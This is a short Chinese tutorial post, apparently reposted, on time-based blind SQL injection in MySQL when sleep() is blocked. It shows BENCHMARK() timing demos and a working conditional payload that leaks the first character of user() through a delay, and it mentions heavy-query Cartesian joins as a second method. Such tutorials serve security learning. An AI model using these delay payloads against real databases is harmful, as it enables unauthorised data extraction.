sql时间盲注另外两种方式(benchmark,heavy query)

在某些情况下进行时间盲注的时候,如果sleep()函数无法使用,我们可以使用以下两种方式来达到延时的效果。

1.benchmark()

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

mysql> select BENCHMARK(10000,md5('a'));
+---------------------------+
| BENCHMARK(10000,md5('a')) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select BENCHMARK(1000000,md5('a'));
+-----------------------------+
| BENCHMARK(1000000,md5('a')) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (0.33 sec)

mysql> select BENCHMARK(10000000,md5('a'));
+------------------------------+
| BENCHMARK(10000000,md5('a')) |
+------------------------------+
|                            0 |
+------------------------------+
1 row in set (2.93 sec)

可以看到,执行不同的次数那么执行的时间也就不一样,通过这个函数我们可以达到与sleep()同样的延时目的。

测试:

mysql> select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);
+-------------------------------------------------------------------+
| 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1) |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (2.90 sec)

 

2.heavy query

heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算。

 

参考链接:

http://www.sqlinjection.net/heavy-query/

 

转载于:https://www.cnblogs.com/c1e4r/articles/9060525.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值